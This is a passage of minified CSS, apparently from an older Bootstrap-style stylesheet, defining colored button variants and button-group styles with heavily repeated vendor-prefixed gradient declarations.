\9}.btn-primary:hover,.btn-primary:active,.btn-primary.active,.btn-primary.disabled,.btn-primary[disabled]{background-color:#9d511d}.btn-primary:active,.btn-primary.active{background-color:#723b15 \9}.btn-warning{background-color:#faa732;background-image:-moz-linear-gradient(top,#fbb450,#f89406);background-image:-ms-linear-gradient(top,#fbb450,#f89406);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fbb450),to(#f89406));background-image:-webkit-linear-gradient(top,#fbb450,#f89406);background-image:-o-linear-gradient(top,#fbb450,#f89406);background-image:linear-gradient(top,#fbb450,#f89406);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fbb450',endColorstr='#f89406',GradientType=0);background-color:#faa732;background-image:-moz-linear-gradient(top,#fbb450,#f89406);background-image:-ms-linear-gradient(top,#fbb450,#f89406);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fbb450),to(#f89406));background-image:-webkit-linear-gradient(top,#fbb450,#f89406);background-image:-o-linear-gradient(top,#fbb450,#f89406);background-image:linear-gradient(top,#fbb450,#f89406);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fbb450',endColorstr='#f89406',GradientType=0);border-color:#f89406 #f89406 #ad6704;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);background-color:#faa732;background-image:-moz-linear-gradient(top,#fbb450,#f89406);background-image:-ms-linear-gradient(top,#fbb450,#f89406);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fbb450),to(#f89406));background-image:-webkit-linear-gradient(top,#fbb450,#f89406);background-image:-o-linear-gradient(top,#fbb450,#f89406);background-image:linear-gradient(top,#fbb450,#f89406);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fbb450',endColorstr='#f89406',GradientType=0);background-color:#faa732;background-image:-moz-linear-gradient(top,#fbb450,#f89406);background-image:-ms-linear-gradient(top,#fbb450,#f89406);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fbb450),to(#f89406));background-image:-webkit-linear-gradient(top,#fbb450,#f89406);background-image:-o-linear-gradient(top,#fbb450,#f89406);background-image:linear-gradient(top,#fbb450,#f89406);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fbb450',endColorstr='#f89406',GradientType=0);border-color:#f89406 #f89406 #ad6704;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);background-color:#faa732;background-image:-moz-linear-gradient(top,#fbb450,#f89406);background-image:-ms-linear-gradient(top,#fbb450,#f89406);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fbb450),to(#f89406));background-image:-webkit-linear-gradient(top,#fbb450,#f89406);background-image:-o-linear-gradient(top,#fbb450,#f89406);background-image:linear-gradient(top,#fbb450,#f89406);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fbb450',endColorstr='#f89406',GradientType=0);background-color:#faa732;background-image:-moz-linear-gradient(top,#fbb450,#f89406);background-image:-ms-linear-gradient(top,#fbb450,#f89406);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fbb450),to(#f89406));background-image:-webkit-linear-gradient(top,#fbb450,#f89406);background-image:-o-linear-gradient(top,#fbb450,#f89406);background-image:linear-gradient(top,#fbb450,#f89406);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fbb450',endColorstr='#f89406',GradientType=0);border-color:#f89406 #f89406 #ad6704;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);background-color:#faa732;background-image:-moz-linear-gradient(top,#fbb450,#f89406);background-image:-ms-linear-gradient(top,#fbb450,#f89406);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fbb450),to(#f89406));background-image:-webkit-linear-gradient(top,#fbb450,#f89406);background-image:-o-linear-gradient(top,#fbb450,#f89406);background-image:linear-gradient(top,#fbb450,#f89406);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fbb450',endColorstr='#f89406',GradientType=0);background-color:#faa732;background-image:-moz-linear-gradient(top,#fbb450,#f89406);background-image:-ms-linear-gradient(top,#fbb450,#f89406);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fbb450),to(#f89406));background-image:-webkit-linear-gradient(top,#fbb450,#f89406);background-image:-o-linear-gradient(top,#fbb450,#f89406);background-image:linear-gradient(top,#fbb450,#f89406);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fbb450',endColorstr='#f89406',GradientType=0);border-color:#f89406 #f89406 #ad6704;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false)}.btn-warning:hover,.btn-warning:active,.btn-warning.active,.btn-warning.disabled,.btn-warning[disabled]{background-color:#f89406}.btn-warning:active,.btn-warning.active{background-color:#c67605 \9}.btn-warning:hover,.btn-warning:active,.btn-warning.active,.btn-warning.disabled,.btn-warning[disabled]{background-color:#f89406}.btn-warning:active,.btn-warning.active{background-color:#c67605 \9}.btn-danger{background-color:#da4f49;background-image:-moz-linear-gradient(top,#ee5f5b,#bd362f);background-image:-ms-linear-gradient(top,#ee5f5b,#bd362f);background-image:-webkit-gradient(linear,0 0,0 100%,from(#ee5f5b),to(#bd362f));background-image:-webkit-linear-gradient(top,#ee5f5b,#bd362f);background-image:-o-linear-gradient(top,#ee5f5b,#bd362f);background-image:linear-gradient(top,#ee5f5b,#bd362f);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b',endColorstr='#bd362f',GradientType=0);background-color:#da4f49;background-image:-moz-linear-gradient(top,#ee5f5b,#bd362f);background-image:-ms-linear-gradient(top,#ee5f5b,#bd362f);background-image:-webkit-gradient(linear,0 0,0 100%,from(#ee5f5b),to(#bd362f));background-image:-webkit-linear-gradient(top,#ee5f5b,#bd362f);background-image:-o-linear-gradient(top,#ee5f5b,#bd362f);background-image:linear-gradient(top,#ee5f5b,#bd362f);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b',endColorstr='#bd362f',GradientType=0);border-color:#bd362f #bd362f #802420;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);background-color:#da4f49;background-image:-moz-linear-gradient(top,#ee5f5b,#bd362f);background-image:-ms-linear-gradient(top,#ee5f5b,#bd362f);background-image:-webkit-gradient(linear,0 0,0 100%,from(#ee5f5b),to(#bd362f));background-image:-webkit-linear-gradient(top,#ee5f5b,#bd362f);background-image:-o-linear-gradient(top,#ee5f5b,#bd362f);background-image:linear-gradient(top,#ee5f5b,#bd362f);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b',endColorstr='#bd362f',GradientType=0);background-color:#da4f49;background-image:-moz-linear-gradient(top,#ee5f5b,#bd362f);background-image:-ms-linear-gradient(top,#ee5f5b,#bd362f);background-image:-webkit-gradient(linear,0 0,0 100%,from(#ee5f5b),to(#bd362f));background-image:-webkit-linear-gradient(top,#ee5f5b,#bd362f);background-image:-o-linear-gradient(top,#ee5f5b,#bd362f);background-image:linear-gradient(top,#ee5f5b,#bd362f);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b',endColorstr='#bd362f',GradientType=0);border-color:#bd362f #bd362f #802420;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);background-color:#da4f49;background-image:-moz-linear-gradient(top,#ee5f5b,#bd362f);background-image:-ms-linear-gradient(top,#ee5f5b,#bd362f);background-image:-webkit-gradient(linear,0 0,0 100%,from(#ee5f5b),to(#bd362f));background-image:-webkit-linear-gradient(top,#ee5f5b,#bd362f);background-image:-o-linear-gradient(top,#ee5f5b,#bd362f);background-image:linear-gradient(top,#ee5f5b,#bd362f);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b',endColorstr='#bd362f',GradientType=0);background-color:#da4f49;background-image:-moz-linear-gradient(top,#ee5f5b,#bd362f);background-image:-ms-linear-gradient(top,#ee5f5b,#bd362f);background-image:-webkit-gradient(linear,0 0,0 100%,from(#ee5f5b),to(#bd362f));background-image:-webkit-linear-gradient(top,#ee5f5b,#bd362f);background-image:-o-linear-gradient(top,#ee5f5b,#bd362f);background-image:linear-gradient(top,#ee5f5b,#bd362f);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b',endColorstr='#bd362f',GradientType=0);border-color:#bd362f #bd362f #802420;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);background-color:#da4f49;background-image:-moz-linear-gradient(top,#ee5f5b,#bd362f);background-image:-ms-linear-gradient(top,#ee5f5b,#bd362f);background-image:-webkit-gradient(linear,0 0,0 100%,from(#ee5f5b),to(#bd362f));background-image:-webkit-linear-gradient(top,#ee5f5b,#bd362f);background-image:-o-linear-gradient(top,#ee5f5b,#bd362f);background-image:linear-gradient(top,#ee5f5b,#bd362f);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b',endColorstr='#bd362f',GradientType=0);background-color:#da4f49;background-image:-moz-linear-gradient(top,#ee5f5b,#bd362f);background-image:-ms-linear-gradient(top,#ee5f5b,#bd362f);background-image:-webkit-gradient(linear,0 0,0 100%,from(#ee5f5b),to(#bd362f));background-image:-webkit-linear-gradient(top,#ee5f5b,#bd362f);background-image:-o-linear-gradient(top,#ee5f5b,#bd362f);background-image:linear-gradient(top,#ee5f5b,#bd362f);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b',endColorstr='#bd362f',GradientType=0);border-color:#bd362f #bd362f #802420;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false)}.btn-danger:hover,.btn-danger:active,.btn-danger.active,.btn-danger.disabled,.btn-danger[disabled]{background-color:#bd362f}.btn-danger:active,.btn-danger.active{background-color:#942a25 \9}.btn-danger:hover,.btn-danger:active,.btn-danger.active,.btn-danger.disabled,.btn-danger[disabled]{background-color:#bd362f}.btn-danger:active,.btn-danger.active{background-color:#942a25 \9}.btn-success{background-color:#5bb75b;background-image:-moz-linear-gradient(top,#62c462,#51a351);background-image:-ms-linear-gradient(top,#62c462,#51a351);background-image:-webkit-gradient(linear,0 0,0 100%,from(#62c462),to(#51a351));background-image:-webkit-linear-gradient(top,#62c462,#51a351);background-image:-o-linear-gradient(top,#62c462,#51a351);background-image:linear-gradient(top,#62c462,#51a351);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#62c462',endColorstr='#51a351',GradientType=0);background-color:#5bb75b;background-image:-moz-linear-gradient(top,#62c462,#51a351);background-image:-ms-linear-gradient(top,#62c462,#51a351);background-image:-webkit-gradient(linear,0 0,0 100%,from(#62c462),to(#51a351));background-image:-webkit-linear-gradient(top,#62c462,#51a351);background-image:-o-linear-gradient(top,#62c462,#51a351);background-image:linear-gradient(top,#62c462,#51a351);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#62c462',endColorstr='#51a351',GradientType=0);border-color:#51a351 #51a351 #387038;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);background-color:#5bb75b;background-image:-moz-linear-gradient(top,#62c462,#51a351);background-image:-ms-linear-gradient(top,#62c462,#51a351);background-image:-webkit-gradient(linear,0 0,0 100%,from(#62c462),to(#51a351));background-image:-webkit-linear-gradient(top,#62c462,#51a351);background-image:-o-linear-gradient(top,#62c462,#51a351);background-image:linear-gradient(top,#62c462,#51a351);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#62c462',endColorstr='#51a351',GradientType=0);background-color:#5bb75b;background-image:-moz-linear-gradient(top,#62c462,#51a351);background-image:-ms-linear-gradient(top,#62c462,#51a351);background-image:-webkit-gradient(linear,0 0,0 100%,from(#62c462),to(#51a351));background-image:-webkit-linear-gradient(top,#62c462,#51a351);background-image:-o-linear-gradient(top,#62c462,#51a351);background-image:linear-gradient(top,#62c462,#51a351);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#62c462',endColorstr='#51a351',GradientType=0);border-color:#51a351 #51a351 #387038;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);background-color:#5bb75b;background-image:-moz-linear-gradient(top,#62c462,#51a351);background-image:-ms-linear-gradient(top,#62c462,#51a351);background-image:-webkit-gradient(linear,0 0,0 100%,from(#62c462),to(#51a351));background-image:-webkit-linear-gradient(top,#62c462,#51a351);background-image:-o-linear-gradient(top,#62c462,#51a351);background-image:linear-gradient(top,#62c462,#51a351);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#62c462',endColorstr='#51a351',GradientType=0);background-color:#5bb75b;background-image:-moz-linear-gradient(top,#62c462,#51a351);background-image:-ms-linear-gradient(top,#62c462,#51a351);background-image:-webkit-gradient(linear,0 0,0 100%,from(#62c462),to(#51a351));background-image:-webkit-linear-gradient(top,#62c462,#51a351);background-image:-o-linear-gradient(top,#62c462,#51a351);background-image:linear-gradient(top,#62c462,#51a351);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#62c462',endColorstr='#51a351',GradientType=0);border-color:#51a351 #51a351 #387038;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);background-color:#5bb75b;background-image:-moz-linear-gradient(top,#62c462,#51a351);background-image:-ms-linear-gradient(top,#62c462,#51a351);background-image:-webkit-gradient(linear,0 0,0 100%,from(#62c462),to(#51a351));background-image:-webkit-linear-gradient(top,#62c462,#51a351);background-image:-o-linear-gradient(top,#62c462,#51a351);background-image:linear-gradient(top,#62c462,#51a351);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#62c462',endColorstr='#51a351',GradientType=0);background-color:#5bb75b;background-image:-moz-linear-gradient(top,#62c462,#51a351);background-image:-ms-linear-gradient(top,#62c462,#51a351);background-image:-webkit-gradient(linear,0 0,0 100%,from(#62c462),to(#51a351));background-image:-webkit-linear-gradient(top,#62c462,#51a351);background-image:-o-linear-gradient(top,#62c462,#51a351);background-image:linear-gradient(top,#62c462,#51a351);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#62c462',endColorstr='#51a351',GradientType=0);border-color:#51a351 #51a351 #387038;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false)}.btn-success:hover,.btn-success:active,.btn-success.active,.btn-success.disabled,.btn-success[disabled]{background-color:#51a351}.btn-success:active,.btn-success.active{background-color:#408140 \9}.btn-success:hover,.btn-success:active,.btn-success.active,.btn-success.disabled,.btn-success[disabled]{background-color:#51a351}.btn-success:active,.btn-success.active{background-color:#408140 \9}.btn-info{background-color:#49afcd;background-image:-moz-linear-gradient(top,#5bc0de,#2f96b4);background-image:-ms-linear-gradient(top,#5bc0de,#2f96b4);background-image:-webkit-gradient(linear,0 0,0 100%,from(#5bc0de),to(#2f96b4));background-image:-webkit-linear-gradient(top,#5bc0de,#2f96b4);background-image:-o-linear-gradient(top,#5bc0de,#2f96b4);background-image:linear-gradient(top,#5bc0de,#2f96b4);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5bc0de',endColorstr='#2f96b4',GradientType=0);background-color:#49afcd;background-image:-moz-linear-gradient(top,#5bc0de,#2f96b4);background-image:-ms-linear-gradient(top,#5bc0de,#2f96b4);background-image:-webkit-gradient(linear,0 0,0 100%,from(#5bc0de),to(#2f96b4));background-image:-webkit-linear-gradient(top,#5bc0de,#2f96b4);background-image:-o-linear-gradient(top,#5bc0de,#2f96b4);background-image:linear-gradient(top,#5bc0de,#2f96b4);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5bc0de',endColorstr='#2f96b4',GradientType=0);border-color:#2f96b4 #2f96b4 #1f6377;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);background-color:#49afcd;background-image:-moz-linear-gradient(top,#5bc0de,#2f96b4);background-image:-ms-linear-gradient(top,#5bc0de,#2f96b4);background-image:-webkit-gradient(linear,0 0,0 100%,from(#5bc0de),to(#2f96b4));background-image:-webkit-linear-gradient(top,#5bc0de,#2f96b4);background-image:-o-linear-gradient(top,#5bc0de,#2f96b4);background-image:linear-gradient(top,#5bc0de,#2f96b4);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5bc0de',endColorstr='#2f96b4',GradientType=0);background-color:#49afcd;background-image:-moz-linear-gradient(top,#5bc0de,#2f96b4);background-image:-ms-linear-gradient(top,#5bc0de,#2f96b4);background-image:-webkit-gradient(linear,0 0,0 100%,from(#5bc0de),to(#2f96b4));background-image:-webkit-linear-gradient(top,#5bc0de,#2f96b4);background-image:-o-linear-gradient(top,#5bc0de,#2f96b4);background-image:linear-gradient(top,#5bc0de,#2f96b4);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5bc0de',endColorstr='#2f96b4',GradientType=0);border-color:#2f96b4 #2f96b4 #1f6377;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);background-color:#49afcd;background-image:-moz-linear-gradient(top,#5bc0de,#2f96b4);background-image:-ms-linear-gradient(top,#5bc0de,#2f96b4);background-image:-webkit-gradient(linear,0 0,0 100%,from(#5bc0de),to(#2f96b4));background-image:-webkit-linear-gradient(top,#5bc0de,#2f96b4);background-image:-o-linear-gradient(top,#5bc0de,#2f96b4);background-image:linear-gradient(top,#5bc0de,#2f96b4);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5bc0de',endColorstr='#2f96b4',GradientType=0);background-color:#49afcd;background-image:-moz-linear-gradient(top,#5bc0de,#2f96b4);background-image:-ms-linear-gradient(top,#5bc0de,#2f96b4);background-image:-webkit-gradient(linear,0 0,0 100%,from(#5bc0de),to(#2f96b4));background-image:-webkit-linear-gradient(top,#5bc0de,#2f96b4);background-image:-o-linear-gradient(top,#5bc0de,#2f96b4);background-image:linear-gradient(top,#5bc0de,#2f96b4);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5bc0de',endColorstr='#2f96b4',GradientType=0);border-color:#2f96b4 #2f96b4 #1f6377;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);background-color:#49afcd;background-image:-moz-linear-gradient(top,#5bc0de,#2f96b4);background-image:-ms-linear-gradient(top,#5bc0de,#2f96b4);background-image:-webkit-gradient(linear,0 0,0 100%,from(#5bc0de),to(#2f96b4));background-image:-webkit-linear-gradient(top,#5bc0de,#2f96b4);background-image:-o-linear-gradient(top,#5bc0de,#2f96b4);background-image:linear-gradient(top,#5bc0de,#2f96b4);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5bc0de',endColorstr='#2f96b4',GradientType=0);background-color:#49afcd;background-image:-moz-linear-gradient(top,#5bc0de,#2f96b4);background-image:-ms-linear-gradient(top,#5bc0de,#2f96b4);background-image:-webkit-gradient(linear,0 0,0 100%,from(#5bc0de),to(#2f96b4));background-image:-webkit-linear-gradient(top,#5bc0de,#2f96b4);background-image:-o-linear-gradient(top,#5bc0de,#2f96b4);background-image:linear-gradient(top,#5bc0de,#2f96b4);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5bc0de',endColorstr='#2f96b4',GradientType=0);border-color:#2f96b4 #2f96b4 #1f6377;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false)}.btn-info:hover,.btn-info:active,.btn-info.active,.btn-info.disabled,.btn-info[disabled]{background-color:#2f96b4}.btn-info:active,.btn-info.active{background-color:#24748c \9}.btn-info:hover,.btn-info:active,.btn-info.active,.btn-info.disabled,.btn-info[disabled]{background-color:#2f96b4}.btn-info:active,.btn-info.active{background-color:#24748c \9}.btn-inverse{background-color:#393939;background-image:-moz-linear-gradient(top,#454545,#262626);background-image:-ms-linear-gradient(top,#454545,#262626);background-image:-webkit-gradient(linear,0 0,0 100%,from(#454545),to(#262626));background-image:-webkit-linear-gradient(top,#454545,#262626);background-image:-o-linear-gradient(top,#454545,#262626);background-image:linear-gradient(top,#454545,#262626);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#454545',endColorstr='#262626',GradientType=0);background-color:#393939;background-image:-moz-linear-gradient(top,#454545,#262626);background-image:-ms-linear-gradient(top,#454545,#262626);background-image:-webkit-gradient(linear,0 0,0 100%,from(#454545),to(#262626));background-image:-webkit-linear-gradient(top,#454545,#262626);background-image:-o-linear-gradient(top,#454545,#262626);background-image:linear-gradient(top,#454545,#262626);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#454545',endColorstr='#262626',GradientType=0);border-color:#262626 #262626 #000;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);background-color:#393939;background-image:-moz-linear-gradient(top,#454545,#262626);background-image:-ms-linear-gradient(top,#454545,#262626);background-image:-webkit-gradient(linear,0 0,0 100%,from(#454545),to(#262626));background-image:-webkit-linear-gradient(top,#454545,#262626);background-image:-o-linear-gradient(top,#454545,#262626);background-image:linear-gradient(top,#454545,#262626);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#454545',endColorstr='#262626',GradientType=0);background-color:#393939;background-image:-moz-linear-gradient(top,#454545,#262626);background-image:-ms-linear-gradient(top,#454545,#262626);background-image:-webkit-gradient(linear,0 0,0 100%,from(#454545),to(#262626));background-image:-webkit-linear-gradient(top,#454545,#262626);background-image:-o-linear-gradient(top,#454545,#262626);background-image:linear-gradient(top,#454545,#262626);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#454545',endColorstr='#262626',GradientType=0);border-color:#262626 #262626 #000;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);background-color:#393939;background-image:-moz-linear-gradient(top,#454545,#262626);background-image:-ms-linear-gradient(top,#454545,#262626);background-image:-webkit-gradient(linear,0 0,0 100%,from(#454545),to(#262626));background-image:-webkit-linear-gradient(top,#454545,#262626);background-image:-o-linear-gradient(top,#454545,#262626);background-image:linear-gradient(top,#454545,#262626);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#454545',endColorstr='#262626',GradientType=0);background-color:#393939;background-image:-moz-linear-gradient(top,#454545,#262626);background-image:-ms-linear-gradient(top,#454545,#262626);background-image:-webkit-gradient(linear,0 0,0 100%,from(#454545),to(#262626));background-image:-webkit-linear-gradient(top,#454545,#262626);background-image:-o-linear-gradient(top,#454545,#262626);background-image:linear-gradient(top,#454545,#262626);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#454545',endColorstr='#262626',GradientType=0);border-color:#262626 #262626 #000;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);background-color:#393939;background-image:-moz-linear-gradient(top,#454545,#262626);background-image:-ms-linear-gradient(top,#454545,#262626);background-image:-webkit-gradient(linear,0 0,0 100%,from(#454545),to(#262626));background-image:-webkit-linear-gradient(top,#454545,#262626);background-image:-o-linear-gradient(top,#454545,#262626);background-image:linear-gradient(top,#454545,#262626);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#454545',endColorstr='#262626',GradientType=0);background-color:#393939;background-image:-moz-linear-gradient(top,#454545,#262626);background-image:-ms-linear-gradient(top,#454545,#262626);background-image:-webkit-gradient(linear,0 0,0 100%,from(#454545),to(#262626));background-image:-webkit-linear-gradient(top,#454545,#262626);background-image:-o-linear-gradient(top,#454545,#262626);background-image:linear-gradient(top,#454545,#262626);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#454545',endColorstr='#262626',GradientType=0);border-color:#262626 #262626 #000;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false)}.btn-inverse:hover,.btn-inverse:active,.btn-inverse.active,.btn-inverse.disabled,.btn-inverse[disabled]{background-color:#262626}.btn-inverse:active,.btn-inverse.active{background-color:#0c0c0c \9}.btn-inverse:hover,.btn-inverse:active,.btn-inverse.active,.btn-inverse.disabled,.btn-inverse[disabled]{background-color:#262626}.btn-inverse:active,.btn-inverse.active{background-color:#0c0c0c \9}button.btn,input[type="submit"].btn{*padding-top:2px;*padding-bottom:2px}button.btn::-moz-focus-inner,input[type="submit"].btn::-moz-focus-inner{padding:0;border:0}button.btn.large,input[type="submit"].btn.large{*padding-top:7px;*padding-bottom:7px}button.btn.small,input[type="submit"].btn.small{*padding-top:3px;*padding-bottom:3px}.btn-group{position:relative;*zoom:1;*zoom:1;*margin-left:.3em;*margin-left:.3em}.btn-group:before,.btn-group:after{display:table;content:""}.btn-group:after{clear:both}.btn-group:before,.btn-group:after{display:table;content:""}.btn-group:after{clear:both}.btn-group:first-child{*margin-left:0}.btn-group:first-child{*margin-left:0}.btn-group+.btn-group{margin-left:5px}.btn-toolbar{margin-top:10.5px;margin-bottom:10.5px}.btn-toolbar .btn-group{display:inline-block;*display:inline;*zoom:1;*display:inline;*zoom:1}.btn-group .btn{position:relative;float:left;margin-left:-1px;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.btn-group .btn:first-child{margin-left:0;-webkit-border-top-left-radius:4px;-moz-border-radius-topleft:4px;border-top-left-radius:4px;-webkit-border-bottom-left-radius:4px;-moz-border-radius-bottomleft:4px;border-bottom-left-radius:4px}.btn-group .btn:last-child,.btn-group .dropdown-toggle{-webkit-border-top-right-radius:4px;-moz-border-radius-topright:4px;border-top-right-radius:4px;-webkit-border-bottom-right-radius:4px;-moz-border-radius-bottomright:4px;border-bottom-right-radius:4px}.btn-group .btn.large:first-child{margin-left:0;-webkit-border-top-left-radius:6px;-moz-border-radius-topleft:6px;border-top-left-radius:6px;-webkit-border-bottom-left-radius:6px;-moz-border-radius-bottomleft:6px;border-bottom-left-radius:6px}.btn-group .btn.large:last-child,.btn-group .large.dropdown-toggle{-webkit-border-top-right-radius:6px;-moz-border-radius-topright:6px;border-top-right-radius:6px;-webkit-border-bottom-right-radius:6px;-moz-border-radius-bottomright:6px;border-bottom-right-radius:6px}.btn-group .btn:hover,.btn-group .btn:focus,.btn-group .btn:active,.btn-group .btn.active{z-index:2}.btn-group .dropdown-toggle:active,.btn-group.open .dropdown-toggle{outline:0}.btn-group .dropdown-toggle{padding-left:8px;padding-right:8px;-webkit-box-shadow:inset 1px 0 0 rgba(255,255,255,0.125),inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 1px 0 0 rgba(255,255,255,0.125),inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 1px 0 0 rgba(255,255,255,0.125),inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);-webkit-box-shadow:inset 1px 0 0 rgba(255,255,255,0.125),inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 1px 0 0 rgba(255,255,255,0.125),inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 1px 0 0 rgba(255,255,255,0.125),inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);*padding-top:5px;*padding-bottom:5px}.btn-group.open{*z-index:1000}.btn-group.open .dropdown-menu{display:block;margin-top:1px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px}.btn-group.open .dropdown-toggle{background-image:none;-webkit-box-shadow:inset 0 1px 6px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 1px 6px rgba(0,0,0,0.15),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 0 1px 6px rgba(0,0,0,0.15),0 1px 2px 